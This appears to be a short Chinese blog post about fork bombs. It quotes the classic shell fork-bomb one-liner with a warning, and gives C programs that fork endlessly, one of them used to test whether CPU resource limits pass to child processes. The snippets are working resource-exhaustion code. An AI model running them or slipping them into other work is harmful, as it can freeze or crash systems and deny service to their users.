fork 炸弹

2

Comments

Linux 的 fork 创建子进程的机制非常著名了,是一个很优美的方式。可是,这个东西是很可怕的。

记得曾经看到一个在 shell 上运行的 fork 炸弹:
(严重警告不要在任何 Linux 或 UNIX 的 Shell 上实验这条命令……)

1
:(){:|:&};:

这次我用 C 写了个想试验一下资源限制是否传递到子进程,就有了下面程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <unistd.h>
#include <sys/resource.h>
 
int main(void) {
  struct rlimit rtime;
  rtime.rlim_cur = rtime.rlim_max = 1;
  setrlimit(RLIMIT_CPU, &rtime);
  while (1) {
    fork();
  }
  return 0;
}

当然,这个程序其实运行了最多卡一会儿(我差点以为被炸死了……),最后系统还是及时结束了这个疯狂的过程,此时查看系统负载,5分钟内负载高达227.x!

如果你想实现上面一行 shell 的功能(即直接拯救一切的那种……),只要下面代码就够了:

1
2
#include <unistd.h>
int main() { while (1) fork(); }

2 Responses to “fork 炸弹”

Leave a Reply